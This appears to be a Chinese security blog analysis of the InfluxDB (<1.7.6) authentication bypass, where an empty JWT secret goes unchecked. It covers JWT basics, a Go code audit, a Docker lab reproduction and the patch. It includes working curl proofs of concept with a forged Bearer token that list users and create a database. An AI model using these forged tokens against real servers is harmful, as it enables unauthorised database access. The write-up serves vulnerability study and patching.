浅析Influxdb认证绕过漏洞
/0x01 基本概念
Influxdb简介
TSDB(Time Series DataBase,时序数据库)是针对时间戳或时间序列数据进行优化的数据库,专门为处理带有时间戳的度量和事件度量而构建的。而时间序列数据可以是随时间跟踪、监视、下采样和聚合的度量或事件,如服务器指标、应用程序性能、网络数据、传感器数据以及许多其他类型的分析数据。
Influxdb是一个开源的时序数据库,由GO语言编写,用于处理高写入和高查询负载。Influxdb被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。
关键特性
Influxdb具有以下关键特性:
- 能够高速读取和压缩时间序列数据
- 使用
Go
编写,能够但文件运行,没有依赖 - 提供了简单、高效的
HTTP
读写接口 - 能够使用插件支持其他的数据协议,如:
Graphite=, =collectd
和OpenTSDB
- 可轻松使用
SQL
语言查询聚合数据 - 能够使用
Tag
进行快速高效的查询 - 支持保留策略(
Retention Policy
), 能够自动清理旧数据 - 支持持续查询,能够自动定期计算聚合数据,提高了查询的效率
与传统数据库的概念比较
Influxdb | 传统数据库 |
---|---|
database | 数据库 |
measurement | 表,但不支持联合查询 |
point | 表中的一行数据 |
其中point由时间戳(time)、数据(field)、标签(tags)组成,相当于传统数据库里的一行数据:
point属性 | 传统数据库中的概念 |
---|---|
time | 主键 |
tags | 有索引的列 |
fields | 没索引的列 |
目录与文件结构
Influxdb的数据存储即在其根目录下的database目录中主要有三个目录。默认情况下是meta、wal和data。
- meta目录:用于存储数据库的一些元数据,meta目录下有一个meta.db文件;
- wal目录:存放预写日志文件,以.wal结尾;
- data目录:存放实际存储的数据文件,以.tsm结尾。
配置
InfluxDB的配置文件为:/etc/influxdb/influxdb.conf
选项详情请参见:Configuration Settings
常用的InfluxQL语句
1 | -- 查看所有的数据库 |
Influxdb函数详解
参考:influxdb函数详解
HTTP接口
Influxdb相关接口具体可参考官方文档:
下面之看下几个简单的例子。
/query
数据主要使用/query接口查询,下面给出一些常见用法,而更多用法参见:Querying data with the HTTP API 。
创建数据库
POST请求可用于创建数据库,如:
1
curl -X POST http://localhost:8086/query --data-urlencode "q=CREATE DATABASE <databasename>"
查询
1
curl -X GET http://localhost:8086/query?pretty=true --data-urlencode 'db=<database name>' --data-urlencode 'q=SELECT "field1","tag1"... FROM <measurement> WHERE <condition>'
/write
发送POST请求是写入数据的主要方式,下面给出一些常见用法,而更多用法参见:Writing data with the HTTP API 。
插入一条Point:
1
curl -X POST http://localhost:8086/write?db=<database name> --data-binary "cpu_load,machine=001,region=cn value=0.56 1555164637838240795"
必须指定
database name
身份认证机制——JWT
Influxdb支持基于密码的身份认证和基于JWT的身份认证。
下面详细介绍JWT机制。
JWT基本原理
JWT即JSON Web Tokens,是目前最流行的跨域身份验证解决方案。
JWT的原理就是在服务器身份验证之后,将生成一个JSON对象并将其发送回用户,如下:
1 | { |
此后,用户与服务端通信时,都要发回这个JSON对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。
服务器不保存任何session数据,也就是说,服务器变成无状态,从而比较容易实现扩展。
JWT原理图
如下:
JWT结构
一个示例的JWT如下:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c |
这是一个很长的字符串,中间用点.
分隔成三个部分。
一个JWT实际上就是一个字符串,由三部分组成:
- Header(头部)
- Payload(载荷)
- Signature(签名)
Header(头部)
Header部分是一个JSON对象,描述JWT的元数据,通常是下面的样子。
1 | { |
上面代码中,alg属性表示签名的算法(algorithm),默认是HMAC SHA256(写成HS256);typ属性表示这个令牌(token)的类型(type),JWT令牌统一写为JWT。
最后,将上面的JSON对象使用Base64URL算法转成字符串。
Payload(载荷)
Payload部分也是一个JSON对象,用来存放实际需要传递的数据。JWT规定了7个官方字段供选用:
- iss (issuer):签发人
- exp (expiration time):过期时间
- sub (subject):主题
- aud (audience):受众
- nbf (Not Before):生效时间
- iat (Issued At):签发时间
- jti (JWT ID):编号
除了官方字段,你还可以在这个部分定义私有字段,下面就是一个例子。
1 | { |
注意,JWT默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。
这个JSON对象也要使用Base64URL算法转成字符串。
Signature(签名)
Signature部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是HMAC SHA256),按照下面的公式产生签名:
1 | HMACSHA256( |
算出签名以后,把Header、Payload、Signature三个部分拼成一个字符串,每个部分之间用.
分隔,就可以返回给用户。
Base64URL算法
前面提到,Header和Payload串型化的算法是Base64URL。这个算法跟Base64算法基本类似,但有一些小的不同。
JWT作为一个令牌(token),有些场合可能会放到URL(比如api.example.com/?token=xxx)。Base64有三个字符+
、/
和=
,在URL里面有特殊含义,所以要被替换掉:=
被省略、+
替换成-
,/
替换成_
。这就是Base64URL算法。
JWT的用法
客户端收到服务器返回的JWT,可以储存在Cookie或LocalStorage中。
此后,客户端每次与服务器通信,都要带上这个JWT。你可以把它放在Cookie里面自动发送,但是这样不能跨域,所以更好的做法是放在HTTP请求的头信息Authorization
字段里面:
1 | Authorization: Bearer <token> |
另一种做法是,跨域的时候JWT就放在POST请求的数据体里面。
如何生成JWT
在线网站可生成JWT凭据:https://jwt.io/
0x02 Influxdb认证绕过漏洞
影响版本
Influxdb < 1.7.6 的版本。
漏洞原理及代码审计
Influxdb认证绕过漏洞,说白了就是默认的不安全配置导致的逻辑漏洞(未校验JWT的Signature部分的secret即密钥是否为空),可导致正常的身份认证被绕过。在Influxdb中,JWT的默认设置不会在“共享秘密”键中创建任何值。换句话说,默认情况下,创建有效的JWT令牌所需的“secret”为空。
下面我们下载1.7.5版本的Influxdb源码进行GO语言的代码审计,可控漏洞点出在哪里。
我们知道PoC是如下的形式:
1 | curl -G 'http://xxx:8086/query' --data-urlencode 'q=show users' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1Nzg1ODU2MDAsInVzZXJuYW1lIjoibWkxazdlYSJ9.eVk8Dp16Oz-0qqXN0eEZKXqQErlLRgAhe60yzholS7k' |
那么直接搜索关键词来寻找对应的认证代码,如搜索“Authorization”,找到influxdb-1.7.5\services\httpd\handler.go这个文件。在其中看到authenticate()即认证函数,这里会调用parseCredentials()函数来解析凭证,然后根据返回的凭证方法到下面的switch语句中匹配:
跟进parseCredentials()函数,当中获取Authorization头字段,若不为空,则通过空格切割其值,然后switch语句匹配第一个值的内容,当匹配到“Bearer”时则返回包含Method为“BearerAuthentication”的creds变量:
返回到authenticate()函数中,继续往下,就能匹配到switch语句的BearerAuthentication代码块:
这段代码解析到token具体的值后,获取其中声明的exp和username的值,这里exp需要满足float64类型的数值、username需要是个字符串类型,接着根据username即用户名去查找是否存在该用户,若都不报错则调用inner()函数成功往下执行,即认证成功。
在这里我们可以明显看到,我们的JWT的Signature部分的secret即密钥是可以设置为空的,因为这里没有对其是否为空进行校验,并且默认也是为空的,即:
1 | HMACSHA256( |
由于没有使用密钥对前面两个部分的内容进行加密,因此任意用户只要知道用户名就可以构造JWT凭证来绕过认证。
漏洞复现
环境搭建
这里我们使用Docker来搭建漏洞环境。
依次执行如下命令即可:
1 | # 搜索Influxdb Docker容器 |
接着新建数据库用户,在influx终端运行如下命令创建新用户mi1k7ea:
1 | > use _internal |
然后在Influxdb的配置文件/etc/influxdb/influxdb.conf中添加配置开启认证:
然后重启即可。
信息搜集
先确定版本号是否存在漏洞,这里看到版本为1.7.5 < 1.7.6,是存在认证绕过漏洞的版本:
接着,判断Influxdb服务绑定的端口号以及是否在公网进行监听:
默认情况下,Influxdb服务是绑定在8086端口上供其他进程访问的。如果是监听在公网上,则存在未授权访问漏洞,漏洞危害达到最大化。
下面的利用先在本地测试。
输入如下命令进行用户名发现:
1 | curl -G 'http://127.0.0.1:8086/debug/requests' |
可以看到并没有返回数据库相关的用户名。
尝试直接访问/query接口,发现没有认证凭据不能访问:
1 | curl -G -X POST 'http://127.0.0.1:8086/query' --data-urlencode 'q=show users' |
构造PoC
下面我们就来构造实现认证绕过的JWT。
由前面的分析知道,我们需要填写的仅仅是第二部分的Payload中的username和exp而已。这里username是Influxdb中存在的用户名即可,而exp (expiration time)即认证有效时间,需要我们设置得比当前时间大。
我们可以通过在线工具方便地获取:
除了线上的方法,这里列下几种编程语言生成时间戳的代码实现。
Java:
1 | (int) (System.currentTimeMillis() / 1000) |
Python:
1 | import time |
PHP:
1 | time() |
这样,就可以直接到https://jwt.io/
中构造JWT了,这里攻击者只需知道Influxdb数据库存在mi1k7ea用户即可(注意:第三部分Signature中的secret即密钥设置为空,因为默认都是无共享密钥的,即使目标服务端设置了我们也无从知道也无法利用):
最终PoC如下:
1 | curl -G 'http://127.0.0.1:8086/query' --data-urlencode 'q=show users' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1Nzg1ODU2MDAsInVzZXJuYW1lIjoibWkxazdlYSJ9.eVk8Dp16Oz-0qqXN0eEZKXqQErlLRgAhe60yzholS7k' |
本地利用效果如图,成功查询得到用户信息:
修改下PoC的利用方式,添加新的数据库:
1 | curl -G 'http://127.0.0.1:8086/query' --data-urlencode 'q=create database hacked' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1Nzg1ODU2MDAsInVzZXJuYW1lIjoibWkxazdlYSJ9.eVk8Dp16Oz-0qqXN0eEZKXqQErlLRgAhe60yzholS7k' |
远程利用也是一样的,直接往目标服务端的Influxdb接口发送PoC即可成功利用:
补丁分析
这里下载1.7.6版本的Influxdb,打开influxdb-1.7.6\services\httpd\handler.go这个文件对比发现,在解析JWT之前多了一段代码:
可以看到该代码判断当前JWT的secret即密钥是否为空,若为空则直接报错,从而修补了漏洞。
修复方案
升级Influxdb至最新版即可。